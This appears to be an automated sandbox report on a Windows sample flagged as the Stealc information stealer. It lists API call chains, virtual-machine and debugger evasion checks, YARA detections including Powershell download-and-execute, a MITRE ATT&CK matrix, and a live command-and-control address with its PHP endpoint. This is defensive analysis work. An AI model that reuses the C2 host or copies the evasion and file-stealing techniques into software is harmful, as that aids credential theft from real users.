Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_007A36F4 push eax; ret	0_2_007A3703
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_007A36E5 push eax; ret	0_2_007A3703
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_007A0714 push 7DD07DC0h; iretd	0_2_007A0725
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023FB29C push ecx; ret	0_2_023FB2AF

Source: 4M3JIACIWk.exe

Static PE information: section name: .text entropy: 7.485371704883883

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

0_2_00419860

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-26449

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Evaded block: after key decision

graph_0-27610

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

API coverage: 6.4 %

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_023EE697
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_023F3B17
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023F4B77
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_023EEF87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_023F47D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023EE077
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EF8F1 FindFirstFileA,	0_2_023EF8F1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_023EDCE7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_023EC0D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023E1937
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023EF917
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_023F4107

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000817000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000817000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 4M3JIACIWk.exe, 00000000.00000002.2280849648.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26434
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-27871
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26437
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26456
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26448
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26276
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26477
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	API call chain: ExitProcess graph end node	graph_0-26322

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041AD48

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

0_2_00419860

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]	0_2_00419750
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0079E9E3 push dword ptr fs:[00000030h]	0_2_0079E9E3
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E092B mov eax, dword ptr fs:[00000030h]	0_2_023E092B
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F99B7 mov eax, dword ptr fs:[00000030h]	0_2_023F99B7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E0D90 mov eax, dword ptr fs:[00000030h]	0_2_023E0D90

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041AD48
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0041CEEA SetUnhandledExceptionFilter,	0_2_0041CEEA
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B33A
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023FAFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_023FAFAF
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023FD151 SetUnhandledExceptionFilter,	0_2_023FD151
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023FB5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_023FB5A1

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419600
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F9867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_023F9867

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00417B90
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_023F7DF7

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.4M3JIACIWk.exe.23e0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4M3JIACIWk.exe.2480000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.23e0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4M3JIACIWk.exe.2480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.4M3JIACIWk.exe.23e0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4M3JIACIWk.exe.2480000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.23e0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4M3JIACIWk.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4M3JIACIWk.exe.2480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4M3JIACIWk.exe PID: 4996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	123 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4M3JIACIWk.exe	39%	ReversingLabs
4M3JIACIWk.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.201.252.118/	true		unknown
http://185.201.252.118/ef952bc0f542da4b.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
http://185.201.252.118/ws	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/ef952bc0f542da4b.phpW	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118	4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280849648.000000000078E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.201.252.118/4	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/ef952bc0f542da4b.phpWindows	4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/ef952bc0f542da4b.php3	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/Y	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/ef952bc0f542da4b.php&zV	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.201.252.118/ef952bc0f542da4b.php/	4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
